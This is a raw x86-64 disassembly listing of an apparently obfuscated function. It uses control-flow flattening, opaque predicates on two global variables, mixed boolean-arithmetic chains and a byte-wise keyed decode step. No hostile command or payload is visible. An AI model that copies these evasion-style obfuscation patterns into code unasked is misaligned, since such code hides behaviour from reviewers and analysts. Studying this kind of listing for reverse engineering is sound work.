mov eax, 0xef90a23c
mov ecx, 0x92a12598
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xcef122a2
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, eax
add edx, 0x74d07f5f
sub edx, 0xfc5197f8
sub edx, 0x74d07f5f
sub edx, 0x9c0e1773
sub edx, 1
add edx, 0x9c0e1773
add edx, 0x54135266
add edx, 0xfc5197f8
sub edx, 0x54135266
imul eax, edx
and eax, 1
cmp eax, 0
sete r8b
cmp ecx, 0xa
setl r9b
mov r10b, r8b
xor r10b, 0xff
mov r11b, r9b
xor r11b, 0xff
mov bl, 1
mov sil, bl
xor sil, 1
or r10b, r11b
or sil, 1
xor r10b, 0xff
and r10b, sil
mov r11b, r8b
xor r11b, 0xff
mov sil, r9b
and sil, r11b
xor r9b, 0xff
and r8b, r9b
or sil, r8b
mov r8b, r10b
xor r8b, 0xff
mov r9b, sil
xor r9b, 0xff
xor bl, 0
mov r11b, r8b
and r11b, 0
and r10b, bl
mov dil, r9b
and dil, 0
and sil, bl
or r11b, r10b
or dil, sil
xor r11b, dil
or r8b, r9b
xor r8b, 0xff
or bl, 0
and r8b, bl
or r11b, r8b
test r11b, 1
mov eax, 0xc22ed034
mov ecx, 0x5a0556d9
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov al, byte [rbp + 0x24f]
test al, 1
mov ecx, 0x2774ac85
mov edx, 0x4c730b5e
cmovne edx, ecx
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 0x59362278
mov r9d, ecx
add r9d, r8d
sub r9d, 0x7db1380a
sub r9d, 1
add r9d, 0x7db1380a
sub eax, 0x59362278
sub r9d, eax
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 1
mov sil, 1
mov dil, sil
xor dil, 1
mov r14b, r10b
and r14b, dil
or bl, r14b
mov dil, r11b
xor dil, 0xff
and dil, 1
mov r14b, sil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or dil, r15b
mov r14b, sil
xor r14b, 0
and r14b, 1
mov r15b, sil
xor r15b, 1
and r15b, 0
or r14b, r15b
mov r15b, bl
xor r15b, 0xff
mov r12b, sil
xor r12b, 0
mov r13b, sil
xor r13b, 1
or r15b, r12b
or r13b, 1
xor r15b, 0xff
and r15b, r13b
xor r10b, 0xff
mov r12b, r14b
xor r12b, 0xff
mov r13b, sil
xor r13b, 0
or r10b, r12b
or r13b, 0
xor r10b, 0xff
and r10b, r13b
mov r12b, sil
xor r12b, 0
mov r13b, dil
xor r13b, r12b
and r13b, dil
mov r12b, r14b
xor r12b, 0xff
mov al, r11b
xor al, r12b
and al, r11b
mov r11b, r15b
xor r11b, 0xff
mov r12b, r10b
xor r12b, 0xff
mov cl, sil
xor cl, 0
mov dl, r11b
and dl, 0
and r15b, cl
mov r8b, r12b
and r8b, 0
and r10b, cl
or dl, r15b
or r8b, r10b
xor dl, r8b
or r11b, r12b
xor r11b, 0xff
or cl, 0
and r11b, cl
or dl, r11b
mov cl, r13b
and cl, al
xor r13b, al
or cl, r13b
mov al, dl
xor al, 0xff
and al, 1
mov r8b, sil
xor r8b, 1
and dl, r8b
mov r10b, cl
xor r10b, 0xff
and r10b, 0xff
and cl, r8b
or al, dl
or r10b, cl
xor al, r10b
mov cl, bl
xor cl, 0xff
mov dl, dil
xor dl, 0xff
mov r8b, sil
xor r8b, 0
mov r10b, cl
and r10b, 0
and bl, r8b
mov r11b, dl
and r11b, 0
and dil, r8b
or r10b, bl
or r11b, dil
xor r10b, r11b
or cl, dl
xor cl, 0xff
or r8b, 0
and cl, r8b
or r10b, cl
mov cl, r10b
xor cl, 0xff
and cl, 1
mov dl, sil
xor dl, 1
and r10b, dl
mov r8b, sil
xor r8b, 1
and r8b, 0xff
and dl, 1
or cl, r10b
or r8b, dl
xor cl, r8b
mov dl, sil
xor dl, 0
mov r8b, r14b
xor r8b, 0xff
mov r10b, sil
xor r10b, 0
mov r11b, dl
and r11b, 0
mov bl, r10b
and bl, 0
mov dil, r8b
and dil, 0
and r14b, r10b
or r11b, bl
or dil, r14b
xor r11b, dil
or dl, r8b
xor dl, 0xff
or r10b, 0
and dl, r10b
or r11b, dl
xor r11b, 0xff
mov dl, cl
xor dl, r11b
and dl, cl
mov cl, al
xor cl, 0xff
mov r8b, dl
xor r8b, 0xff
xor sil, 0
mov r10b, cl
and r10b, 0
and al, sil
mov r11b, r8b
and r11b, 0
and dl, sil
or r10b, al
or r11b, dl
xor r10b, r11b
or cl, r8b
xor cl, 0xff
or sil, 0
and cl, sil
or r10b, cl
test r10b, 1
mov r9d, 0x507e3380
mov eax, 0xf6d25e1a
cmovne eax, r9d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, 0xa034ad1
add edx, 0
sub edx, 1
sub edx, 0xa034ad1
mov r8d, eax
sub r8d, 0x8d21032b
add r8d, edx
add r8d, 0x8d21032b
imul eax, r8d
and eax, 1
cmp eax, 0
sete r9b
cmp ecx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
mov r14b, bl
xor r14b, 1
and r14b, 0xff
and sil, 1
or r11b, dil
or r14b, sil
xor r11b, r14b
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, bl
xor r14b, 0
mov r15b, r11b
xor r15b, r14b
and r15b, r11b
xor r9b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r12b, bl
xor r12b, 0
or r9b, r14b
or r12b, 0
xor r9b, 0xff
and r9b, r12b
mov r14b, sil
xor r14b, 0xff
mov r12b, bl
xor r12b, 0
mov r13b, bl
xor r13b, 1
or r14b, r12b
or r13b, 1
xor r14b, 0xff
and r14b, r13b
xor r10b, 0xff
mov r12b, dil
xor r12b, 0xff
mov r13b, bl
xor r13b, 0
or r10b, r12b
or r13b, 0
xor r10b, 0xff
and r10b, r13b
mov r12b, r15b
xor r12b, 0xff
mov r13b, r9b
xor r13b, 0xff
mov al, bl
xor al, 1
mov cl, r12b
and cl, 0xff
and r15b, al
mov dl, r13b
and dl, 0xff
and r9b, al
or cl, r15b
or dl, r9b
xor cl, dl
or r12b, r13b
xor r12b, 0xff
or al, 1
and r12b, al
or cl, r12b
mov al, r14b
and al, r10b
xor r14b, r10b
or al, r14b
mov dl, cl
xor dl, 0xff
mov r9b, al
and r9b, dl
xor al, 0xff
and cl, al
or r9b, cl
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov cl, al
xor cl, 0xff
and cl, 0
mov dl, bl
xor dl, 0
and al, dl
mov r10b, bl
xor r10b, 1
and r10b, 0
and dl, 1
or cl, al
or r10b, dl
xor cl, r10b
mov al, bl
xor al, 0
mov dl, dil
xor dl, 0xff
mov r10b, bl
xor r10b, 1
mov r11b, al
and r11b, 0xff
mov sil, r10b
and sil, 0
mov r14b, dl
and r14b, 0xff
and dil, r10b
or r11b, sil
or r14b, dil
xor r11b, r14b
or al, dl
xor al, 0xff
or r10b, 1
and al, r10b
or r11b, al
xor cl, 0xff
xor r11b, 0xff
mov al, bl
xor al, 1
or cl, r11b
or al, 1
xor cl, 0xff
and cl, al
mov al, r9b
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor bl, 1
mov r10b, al
and r10b, 0xff
and r9b, bl
mov r11b, dl
and r11b, 0xff
and cl, bl
or r10b, r9b
or r11b, cl
xor r10b, r11b
or al, dl
xor al, 0xff
or bl, 1
and al, bl
or r10b, al
test r10b, 1
mov r8d, 0xebac3035
mov eax, 0xe1c5ad36
cmovne eax, r8d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x42349711
jmp 0x417ccc
xor eax, eax
mov rcx, qword [rbp + 0x208]
mov edx, dword [rcx]
mov r8d, dword [rbp + 0x25c]
mov dword [rbp + 0x1a4], eax
mov eax, r8d
xor r8d, r8d
mov dword [rbp + 0x1a0], edx
mov edx, r8d
mov r8d, dword [rbp + 0x1a0]
div r8d
mov edx, edx
mov ecx, edx
mov r9, qword [rbp + 0x250]
movzx edx, byte [r9 + rcx]
mov rcx, qword [rbp + 0x220]
mov rcx, qword [rcx]
mov r9, qword [rbp + 0x228]
mov r10d, dword [r9]
mov r9d, r10d
movzx r10d, byte [rcx + r9]
mov r11d, r10d
xor r11d, 0xffffffff
and r11d, 0xffffffff
mov esi, 0xffffffff
mov edi, esi
xor edi, 0xffffffff
mov ebx, r10d
and ebx, edi
or r11d, ebx
mov edi, edx
xor edi, 0xffffffff
xor r11d, 0xffffffff
mov ebx, esi
xor ebx, 0xb922f373
or edi, r11d
or ebx, 0xb922f373
xor edi, 0xffffffff
and edi, ebx
mov r11d, edx
xor r11d, 0xffffffff
and r11d, 0xe32057da
mov ebx, esi
xor ebx, 0xe32057da
and edx, ebx
mov r14d, esi
xor r14d, 0xffffffff
and r14d, 0xe32057da
and ebx, 0xffffffff
or r11d, edx
or r14d, ebx
xor r11d, r14d
xor r10d, 0xffffffff
xor r11d, 0xffffffff
xor esi, 0xf41e1a49
or r10d, r11d
or esi, 0xf41e1a49
xor r10d, 0xffffffff
and r10d, esi
mov edx, edi
and edx, r10d
xor edi, r10d
or edx, edi
mov byte [rcx + r9], dl
mov r10d, dword [0x00439970]
mov r11d, dword [0x00439974]
mov esi, dword [rbp + 0x1a4]
sub esi, 0x1fedc509
mov edi, r10d
add edi, esi
add edi, 0xd3178d59
sub edi, 1
sub edi, 0xd3178d59
mov esi, dword [rbp + 0x1a4]
sub esi, edi
mov edi, dword [rbp + 0x1a4]
sub edi, 0x1fedc509
add esi, edi
mov edi, dword [rbp + 0x1a4]
sub edi, esi
imul r10d, edi
and r10d, 1
cmp r10d, 0
sete dl
cmp r11d, 0xa
setl r15b
mov r12b, dl
xor r12b, 0xff
and r12b, 1
mov r13b, 1
mov cl, r13b
xor cl, 1
mov r9b, dl
and r9b, cl
or r12b, r9b
mov cl, r15b
xor cl, 0xff
and cl, 1
mov r9b, r13b
xor r9b, 1
mov r10b, r15b
and r10b, r9b
or cl, r10b
mov r9b, r13b
xor r9b, 1
and r9b, 1
mov r10b, r13b
xor r10b, 1
and r10b, 1
or r9b, r10b
mov r10b, r13b
xor r10b, 1
mov r11b, r12b
xor r11b, r10b
and r11b, r12b
xor dl, 0xff
mov r10b, r9b
xor r10b, 0xff
mov bl, r13b
xor bl, 1
or dl, r10b
or bl, 1
xor dl, 0xff
and dl, bl
mov r10b, r13b
xor r10b, 1
mov bl, cl
xor bl, r10b
and bl, cl
xor r15b, 0xff
mov r10b, r9b
xor r10b, 0xff
mov sil, r13b
xor sil, 1
or r15b, r10b
or sil, 1
xor r15b, 0xff
and r15b, sil
mov r10b, r11b
and r10b, dl
xor r11b, dl
or r10b, r11b
mov dl, bl
xor dl, 0xff
mov r11b, r15b
xor r11b, 0xff
mov sil, r13b
xor sil, 1
mov dil, dl
and dil, 0xff
and bl, sil
mov r14b, r11b
and r14b, 0xff
and r15b, sil
or dil, bl
or r14b, r15b
xor dil, r14b
or dl, r11b
xor dl, 0xff
or sil, 1
and dl, sil
or dil, dl
mov dl, r10b
xor dl, 0xff
mov r11b, dil
and r11b, dl
xor dil, 0xff
and r10b, dil
or r11b, r10b
mov dl, r12b
and dl, cl
xor r12b, cl
or dl, r12b
mov cl, dl
xor cl, 0xff
and cl, 0
mov r10b, r13b
xor r10b, 0
and dl, r10b
mov bl, r13b
xor bl, 1
and bl, 0
and r10b, 1
or cl, dl
or bl, r10b
xor cl, bl
mov dl, r9b
and dl, 1
xor r9b, 1
or dl, r9b
xor cl, 0xff
xor dl, 0xff
mov r9b, r13b
xor r9b, 1
or cl, dl
or r9b, 1
xor cl, 0xff
and cl, r9b
mov dl, r11b
xor dl, 0xff
mov r9b, cl
xor r9b, 0xff
xor r13b, 0
mov r10b, dl
and r10b, 0
and r11b, r13b
mov bl, r9b
and bl, 0
and cl, r13b
or r10b, r11b
or bl, cl
xor r10b, bl
or dl, r9b
xor dl, 0xff
or r13b, 0
and dl, r13b
or r10b, dl
test r10b, 1
mov ecx, 0x8c8f6b95
mov edx, 0x7abead10
cmovne edx, ecx
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x5ad816e1
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, ecx
mov r9d, eax
sub r9d, 0xf9a9a02
add r8d, r9d
mov r9d, eax
sub r9d, r8d
mov r8d, eax
sub r8d, 1
add r9d, r8d
sub eax, 0xf9a9a02
add r9d, eax
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
mov sil, r11b
xor sil, 0xff
mov dil, 1
mov r14b, dil
xor r14b, 1
or bl, sil
or r14b, 1
xor bl, 0xff
and bl, r14b
mov sil, r10b
xor sil, 0xff
mov r14b, r11b
and r14b, sil
xor r11b, 0xff
and r10b, r11b
or r14b, r10b
mov r10b, bl
xor r10b, 0xff
mov r11b, r14b
xor r11b, 0xff
xor dil, 0
mov sil, r10b
and sil, 0
and bl, dil
mov r15b, r11b
and r15b, 0
and r14b, dil
or sil, bl
or r15b, r14b
xor sil, r15b
or r10b, r11b
xor r10b, 0xff
or dil, 0
and r10b, dil
or sil, r10b
test sil, 1
mov eax, 0xaa0fdf64
mov ecx, 0x93660bb5
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, eax
add edx, 0xb4f75c79
add edx, 0xb4b46ea
sub edx, 0xb4f75c79
sub edx, 0x6caec88e
sub edx, 1
add edx, 0x6caec88e
add edx, 0xf7befff0
sub edx, 0xb4b46ea
sub edx, 0xf7befff0
imul eax, edx
and eax, 1
cmp eax, 0
sete r8b
cmp ecx, 0xa
setl r9b
mov r10b, r9b
xor r10b, 0xff
mov r11b, r8b
xor r11b, r10b
and r11b, r8b
mov r10b, r8b
xor r10b, 0xff
and r10b, 1
mov bl, 1
xor bl, 1
and r8b, bl
mov sil, r9b
xor sil, 0xff
and sil, 0xff
and r9b, bl
or r10b, r8b
or sil, r9b
xor r10b, sil
mov r8b, r11b
and r8b, r10b
xor r11b, r10b
or r8b, r11b
test r8b, 1
mov eax, 0xf3374baf
mov ecx, 0xbcb971ba
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 1
add r8d, 0
mov r9d, eax
sub r9d, ecx
mov r10d, eax
sub r10d, r8d
add r9d, r10d
sub eax, r9d
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete r11b
cmp edx, 0xa
setl bl
mov sil, r11b
xor sil, 0xff
and sil, 1
mov dil, 1
mov r14b, dil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or sil, r15b
mov r14b, bl
xor r14b, 0xff
and r14b, 0
mov r15b, dil
xor r15b, 0
mov r12b, bl
and r12b, r15b
mov r13b, dil
xor r13b, 1
and r13b, 0
and r15b, 1
or r14b, r12b
or r13b, r15b
xor r14b, r13b
mov r15b, dil
xor r15b, 1
and r15b, 1
mov r12b, dil
xor r12b, 1
mov r13b, r12b
and r13b, 1
mov al, dil
xor al, 1
and al, 0xff
and r12b, 1
or r15b, r13b
or al, r12b
xor r15b, al
mov al, dil
xor al, 1
mov r12b, sil
xor r12b, al
and r12b, sil
xor r11b, 0xff
mov al, r15b
xor al, 0xff
mov r13b, dil
xor r13b, 1
or r11b, al
or r13b, 1
xor r11b, 0xff
and r11b, r13b
mov al, r14b
xor al, 0xff
mov r13b, dil
xor r13b, 1
mov cl, dil
xor cl, 1
or al, r13b
or cl, 1
xor al, 0xff
and al, cl
mov cl, r15b
xor cl, 0xff
mov r13b, bl
xor r13b, cl
and r13b, bl
mov cl, r12b
xor cl, 0xff
mov bl, r11b
xor bl, 0xff
mov dl, dil
xor dl, 0
mov r8b, cl
and r8b, 0
and r12b, dl
mov r9b, bl
and r9b, 0
and r11b, dl
or r8b, r12b
or r9b, r11b
xor r8b, r9b
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or r8b, cl
mov cl, al
and cl, r13b
xor al, r13b
or cl, al
mov al, r8b
xor al, 0xff
and al, 1
mov dl, dil
xor dl, 1
and r8b, dl
mov r9b, cl
xor r9b, 0xff
and r9b, 0xff
and cl, dl
or al, r8b
or r9b, cl
xor al, r9b
mov cl, sil
and cl, r14b
xor sil, r14b
or cl, sil
mov dl, cl
xor dl, 0xff
and dl, 1
mov r8b, dil
xor r8b, 1
and cl, r8b
or dl, cl
mov cl, r15b
and cl, 1
xor r15b, 1
or cl, r15b
xor cl, 0xff
mov r8b, dl
xor r8b, cl
and r8b, dl
mov cl, al
xor cl, 0xff
mov dl, r8b
xor dl, 0xff
xor dil, 0
mov r9b, cl
and r9b, 0
and al, dil
mov r11b, dl
and r11b, 0
and r8b, dil
or r9b, al
or r11b, r8b
xor r9b, r11b
or cl, dl
xor cl, 0xff
or dil, 0
and cl, dil
or r9b, cl
test r9b, 1
mov r10d, 0x6e048841
mov eax, 0x93660bb5
cmovne eax, r10d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xd5b2bf23
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 0x5ee8ef87
sub eax, 1
add eax, 0x5ee8ef87
mov r8d, ecx
add r8d, 0x8489c079
add r8d, eax
sub r8d, 0x8489c079
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 0
mov bl, 1
mov sil, bl
xor sil, 0
mov dil, r9b
and dil, sil
mov r14b, bl
xor r14b, 1
and r14b, 0
and sil, 1
or r11b, dil
or r14b, sil
xor r11b, r14b
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, bl
xor r14b, 0
mov r15b, r11b
xor r15b, r14b
and r15b, r11b
xor r9b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r12b, bl
xor r12b, 1
or r9b, r14b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r14b, bl
xor r14b, 0
mov r12b, sil
xor r12b, r14b
and r12b, sil
xor r10b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r13b, bl
xor r13b, 0
or r10b, r14b
or r13b, 0
xor r10b, 0xff
and r10b, r13b
mov r14b, r15b
xor r14b, 0xff
mov r13b, r9b
xor r13b, 0xff
mov al, bl
xor al, 1
mov cl, r14b
and cl, 0xff
and r15b, al
mov dl, r13b
and dl, 0xff
and r9b, al
or cl, r15b
or dl, r9b
xor cl, dl
or r14b, r13b
xor r14b, 0xff
or al, 1
and r14b, al
or cl, r14b
mov al, r12b
and al, r10b
xor r12b, r10b
or al, r12b
mov dl, cl
xor dl, 0xff
mov r9b, al
and r9b, dl
xor al, 0xff
and cl, al
or r9b, cl
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, bl
xor dl, 1
and al, dl
or cl, al
mov al, dil
and al, 0
xor dil, 0
or al, dil
xor cl, 0xff
xor al, 0xff
xor bl, 1
or cl, al
or bl, 1
xor cl, 0xff
and cl, bl
mov al, r9b
and al, cl
xor r9b, cl
or al, r9b
test al, 1
mov r8d, 0xa264088
mov eax, 0x87e298ae
cmovne eax, r8d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
sub r8d, 0x76b39122
sub r8d, 0xf66ae39a
add r8d, 0x76b39122
sub eax, 1
add r8d, eax
add r8d, 0xb42e409f
add r8d, 0xf66ae39a
sub r8d, 0xb42e409f
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
mov r14b, bl
xor r14b, 1
and r14b, 0xff
and sil, 1
or r11b, dil
or r14b, sil
xor r11b, r14b
mov sil, r10b
xor sil, 0xff
and sil, 0
mov dil, bl
xor dil, 0
mov r14b, r10b
and r14b, dil
mov r15b, bl
xor r15b, 1
and r15b, 0
and dil, 1
or sil, r14b
or r15b, dil
xor sil, r15b
mov dil, bl
xor dil, 0
and dil, 0
mov r14b, bl
xor r14b, 0
mov r15b, r14b
and r15b, 0
mov r12b, bl
xor r12b, 1
and r12b, 0
and r14b, 1
or dil, r15b
or r12b, r14b
xor dil, r12b
mov r14b, r11b
xor r14b, 0xff
mov r15b, bl
xor r15b, 0
mov r12b, bl
xor r12b, 0
or r14b, r15b
or r12b, 0
xor r14b, 0xff
and r14b, r12b
xor r9b, 0xff
mov r15b, dil
xor r15b, 0xff
mov r12b, bl
xor r12b, 1
or r9b, r15b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r15b, sil
xor r15b, 0xff
mov r12b, bl
xor r12b, 0
mov r13b, bl
xor r13b, 0
or r15b, r12b
or r13b, 0
xor r15b, 0xff
and r15b, r13b
mov r12b, dil
xor r12b, 0xff
mov r13b, r10b
xor r13b, r12b
and r13b, r10b
mov r10b, r14b
and r10b, r9b
xor r14b, r9b
or r10b, r14b
mov r9b, r15b
and r9b, r13b
xor r15b, r13b
or r9b, r15b
mov r14b, r10b
xor r14b, 0xff
mov r15b, r9b
and r15b, r14b
xor r9b, 0xff
and r10b, r9b
or r15b, r10b
mov r9b, r11b
and r9b, sil
xor r11b, sil
or r9b, r11b
mov r10b, r9b
xor r10b, 0xff
and r10b, 1
mov r11b, bl
xor r11b, 1
and r9b, r11b
mov sil, bl
xor sil, 1
and sil, 0xff
and r11b, 1
or r10b, r9b
or sil, r11b
xor r10b, sil
mov r9b, bl
xor r9b, 0
mov r11b, dil
xor r11b, 0xff
xor bl, 1
mov sil, r9b
and sil, 0xff
mov r14b, bl
and r14b, 0
mov r12b, r11b
and r12b, 0xff
and dil, bl
or sil, r14b
or r12b, dil
xor sil, r12b
or r9b, r11b
xor r9b, 0xff
or bl, 1
and r9b, bl
or sil, r9b
xor sil, 0xff
mov r9b, r10b
xor r9b, sil
and r9b, r10b
mov r10b, r15b
and r10b, r9b
xor r15b, r9b
or r10b, r15b
test r10b, 1
mov eax, 0x457cd223
mov ecx, 0x9a35fe08
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, eax
add edx, 0x9b3efef8
sub edx, 0x2052abc2
sub edx, 0x9b3efef8
add edx, 0x43a3dd3e
sub edx, 1
sub edx, 0x43a3dd3e
add edx, 0x4358aeb5
add edx, 0x2052abc2
sub edx, 0x4358aeb5
imul eax, edx
and eax, 1
cmp eax, 0
sete r8b
cmp ecx, 0xa
setl r9b
mov r10b, r8b
xor r10b, 0xff
and r10b, 1
mov r11b, 1
mov bl, r11b
xor bl, 1
mov sil, r8b
and sil, bl
mov dil, r11b
xor dil, 1
and dil, 0xff
and bl, 1
or r10b, sil
or dil, bl
xor r10b, dil
mov bl, r9b
xor bl, 0xff
and bl, 1
mov sil, r11b
xor sil, 1
mov dil, r9b
and dil, sil
mov r14b, r11b
xor r14b, 1
and r14b, 0xff
and sil, 1
or bl, dil
or r14b, sil
xor bl, r14b
mov sil, r11b
xor sil, 0
and sil, 1
mov dil, r11b
xor dil, 1
and dil, 0
or sil, dil
mov dil, r11b
xor dil, 0
mov r14b, r10b
xor r14b, dil
and r14b, r10b
xor r8b, 0xff
mov dil, sil
xor dil, 0xff
mov r15b, r11b
xor r15b, 0
or r8b, dil
or r15b, 0
xor r8b, 0xff
and r8b, r15b
mov dil, bl
xor dil, 0xff
mov r15b, r11b
xor r15b, 0
mov r12b, r11b
xor r12b, 1
or dil, r15b
or r12b, 1
xor dil, 0xff
and dil, r12b
xor r9b, 0xff
mov r15b, sil
xor r15b, 0xff
mov r12b, r11b
xor r12b, 1
or r9b, r15b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r15b, r14b
and r15b, r8b
xor r14b, r8b
or r15b, r14b
mov r8b, dil
xor r8b, 0xff
mov r14b, r9b
xor r14b, 0xff
mov r12b, r11b
xor r12b, 0
mov r13b, r8b
and r13b, 0
and dil, r12b
mov al, r14b
and al, 0
and r9b, r12b
or r13b, dil
or al, r9b
xor r13b, al
or r8b, r14b
xor r8b, 0xff
or r12b, 0
and r8b, r12b
or r13b, r8b
mov al, r15b
xor al, 0xff
and al, 0
mov r8b, r11b
xor r8b, 0
and r15b, r8b
mov r9b, r13b
xor r9b, 0xff
and r9b, 0
and r13b, r8b
or al, r15b
or r9b, r13b
xor al, r9b
mov r8b, r10b
and r8b, bl
xor r10b, bl
or r8b, r10b
mov r9b, r8b
xor r9b, 0xff
and r9b, 1
mov r10b, r11b
xor r10b, 1
and r8b, r10b
or r9b, r8b
mov r8b, sil
and r8b, 0
xor sil, 0
or r8b, sil
xor r8b, 0xff
mov r10b, r9b
xor r10b, r8b
and r10b, r9b
mov r8b, al
xor r8b, 0xff
mov r9b, r10b
xor r9b, 0xff
xor r11b, 1
mov bl, r8b
and bl, 0xff
and al, r11b
mov sil, r9b
and sil, 0xff
and r10b, r11b
or bl, al
or sil, r10b
xor bl, sil
or r8b, r9b
xor r8b, 0xff
or r11b, 1
and r8b, r11b
or bl, r8b
test bl, 1
mov ecx, 0xb2f0c637
mov edx, 0xff8c8b0f
cmovne edx, ecx
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 1
add eax, 0
mov r8d, ecx
add r8d, 0x6f7ef38e
add r8d, eax
sub r8d, 0x6f7ef38e
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
mov bl, r10b
xor bl, 0xff
mov sil, 1
xor sil, 0
or r11b, bl
or sil, 0
xor r11b, 0xff
and r11b, sil
mov bl, r9b
xor bl, 0xff
mov sil, r10b
and sil, bl
xor r10b, 0xff
and r9b, r10b
or sil, r9b
mov r9b, r11b
and r9b, sil
xor r11b, sil
or r9b, r11b
test r9b, 1
mov eax, 0x4d77f165
mov ecx, 0xff8c8b0f
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov eax, dword [rbp + 0x274]
lea rsp, [rbp + 0x7d8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rbp + 0x1e8], 0x9ae7e2ca
jmp 0x417ccc
mov rax, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x1d8]
mov qword [rax], rcx
mov dword [rbp + 0x1e8], 0x4afbcfbb
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
sub r8d, 0x99fca154
add r8d, 0x304fe4cc
add r8d, 0x99fca154
mov r9d, eax
sub r9d, 1
add r8d, r9d
sub eax, 0x304fe4cc
add r8d, eax
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r11b
xor bl, 0xff
mov sil, r10b
xor sil, bl
and sil, r10b
mov bl, r10b
xor bl, 0xff
and bl, 0
mov dil, 1
xor dil, 0
and r10b, dil
mov r14b, r11b
xor r14b, 0xff
and r14b, 0
and r11b, dil
or bl, r10b
or r14b, r11b
xor bl, r14b
mov r10b, sil
and r10b, bl
xor sil, bl
or r10b, sil
test r10b, 1
mov eax, 0xd4f7e744
mov ecx, 0xfe9ab3e8
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 0x3fe1c466
sub eax, 1
add eax, 0x3fe1c466
mov r8d, ecx
add r8d, 0x2caaf5d3
add r8d, eax
sub r8d, 0x2caaf5d3
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
or r11b, dil
mov sil, r10b
xor sil, 0xff
and sil, 0
mov dil, bl
xor dil, 0
mov r14b, r10b
and r14b, dil
mov r15b, bl
xor r15b, 1
and r15b, 0
and dil, 1
or sil, r14b
or r15b, dil
xor sil, r15b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, bl
xor r14b, 0
mov r15b, r11b
xor r15b, r14b
and r15b, r11b
xor r9b, 0xff
mov r14b, dil
xor r14b, 0xff
mov r12b, bl
